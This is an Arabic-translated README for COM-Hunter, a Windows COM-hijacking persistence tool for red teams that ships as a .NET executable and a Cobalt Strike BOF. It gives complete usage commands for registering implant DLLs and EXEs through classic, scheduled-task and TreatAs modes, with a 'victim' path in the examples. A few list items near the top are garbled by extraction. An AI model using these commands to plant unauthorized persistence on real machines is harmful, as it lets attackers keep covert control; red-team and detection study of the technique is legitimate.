nickvourd/com-hunterأداة استمرارية عبر اختطاف COM في ويندوز مع أوضاع البحث، الكلاسيكي، جدولة المهام، وTreatAs. متاحة كملف تنفيذي .NET وBOF لـ Cobalt Strike لعمليات الفريق الأحمر.
اختراق COM فودو
COM-Hunter هي أداة للثبات (persistence) عبر اختراق COM.
متوفرة بنسختين: .NET و BOF متوافقة تماماً مع Cobalt Strike.
القائمة التالية تشرح الأوضاع المتاحة:
LocalServer32 و InprocServer32 وإدخالات التسجيل في كل من HKLM و HKCU.LocalServer32 أو InprocServer32.LocalServer32 أو InprocServer32.LocalServer32 أو InprocServer32.LocalServer32 و InprocServer32 والإدخالات ذات الصلة في التسجيل تحت كل من و .ℹ️ تم اختيار هذه الأداة وهي بفخر جزء من Cobalt Strike Community Kit.
إذا وجدت أي أخطاء، فلا تتردد في الإبلاغ عنها. ملاحظاتك ثمينة لتحسين جودة هذا المشروع!
المؤلفون والمساهمون في هذا المشروع غير مسؤولين عن أي استخدام غير قانوني للأداة. هي مخصصة للأغراض التعليمية فقط. يتحمل المستخدمون مسؤولية ضمان الاستخدام القانوني.
هذا المشروع تم إنشاؤه بـ ❤️ بواسطة @nickvourd && @S1ckB0y1337.
شكر خاص لصديقي Marios Gyftos على مساعدته القيمة خلال مرحلة الاختبار التجريبي لهذه الأداة.
مستوحى من دورة RTO المقدمة من @zeropointsecltd.
تنفيذ BOF مستوحى من Lefteris Panos ومشروعه الرائع RegPersist.
ملفات base.c و bofdefs.h هي نسخ مباشرة من مشروع CS-Situational-Awareness-BOF التابع لـ TrustedSec.
██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
الإصدار: 3.0
@nickvourd && @S1ckB0y1337
~ مستوحى خلال دورة RTO من @zeropointsecltd ~
الاستخدام: COM_Hunter.exe <وضع> <خيارات>
[+] الأوضاع المتاحة:
search وضع البحث
persist وضع الثبات الكلاسيكي
tasksch وضع جدولة المهام
treatas وضع TreatAs
remove وضع الإزالة
[+] وضع البحث:
الاستخدام: COM-Hunter.exe search <CLSID> <خيارات>
-a, --all ابحث عن تطبيقات DLL و EXE في HKLM و HKCU
-i, --inprocserver32 ابحث عن تطبيقات DLL في HKLM و HKCU
-l, --localserver32 ابحث عن تطبيقات EXE في HKLM و HKCU
-m, --machine ابحث عن تطبيقات DLL و EXE في HKLM
-u, --user ابحث عن تطبيقات DLL و EXE في HKCU
[+] وضع الثبات الكلاسيكي:
الاستخدام: COM-Hunter.exe persist <CLSID> <مسار_الملف_الثنائي> <خيار>
-i, --inprocserver32 تعيين تطبيق DLL
-l, --localserver32 تعيين تطبيق EXE
[+] وضع جدولة المهام:
الاستخدام: COM-Hunter.exe tasksch <مسار_الملف_الثنائي> <خيار>
-i, --inprocserver32 تعيين تطبيق DLL
-l, --localserver32 تعيين تطبيق EXE
[+] وضع TreatAs:
الاستخدام: COM-Hunter.exe treatas <CLSID> <CLSID_وهمي> <مسار_الملف_الثنائي> <خيار>
-i, --inprocserver32 تعيين تطبيق DLL
-l, --localserver32 تعيين تطبيق EXE
[+] وضع الإزالة:
الاستخدام: COM-Hunter.exe remove <CLSID> <خيارات>
-a, --all إزالة تطبيقات DLL و EXE في HKLM و HKCU
-i, --inprocserver32 إزالة تطبيقات DLL في HKLM و HKCU
-l, --localserver32 إزالة تطبيقات EXE في HKLM و HKCU
-m, --machine إزالة تطبيقات DLL و EXE في HKLM
-u, --user إزالة تطبيقات DLL و EXE في HKCU
ℹ️ ابحث عن تطبيقات DLL و EXE في HKLM و HKCU:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a
ℹ️ ابحث عن تطبيقات EXE في HKLM و HKCU:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l
ℹ️ بحث متقدم عن تطبيقات EXE في HKLM:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine
ℹ️ ابحث عن تطبيقات EXE و DLL في HKCU:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user
ℹ️ قم بثبات كلاسيكي باستخدام تطبيق DLL:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i
ℹ️ قم بثبات كلاسيكي باستخدام تطبيق EXE:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32
ℹ️ قم بثبات عبر جدولة المهام باستخدام تطبيق DLL:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32
ℹ️ قم بثبات عبر مفتاح التسجيل TreatAs و CLSID وهمي (قابل للإعادة التوجيه) باستخدام تطبيق DLL:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i
ℹ️ قم بإزالة ثبات تطبيق DLL في HKCU باستخدام:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u
ℹ️ مطلوب سلسلة أدوات MinGW-w64 (x86_64-w64-mingw32-gcc و i686-w64-mingw32-gcc)
ℹ️ قم بتجميع كائنات BOF لكلا المعماريتين:
./make_all.sh
سيؤدي هذا إلى:
com_hunter_*.com_hunter_*.x64.o و com_hunter_*.x86.o.com_hunter_*/.ℹ️ بعد تجميع وحدات BOF، قم بتحميل com_hunter_bof.cna إلى Cobalt Strike.
ℹ️ لتنظيف القطع الأثرية للبناء، ادخل إلى كل مجلد src ونفذ:
make clean
HKLMHKCU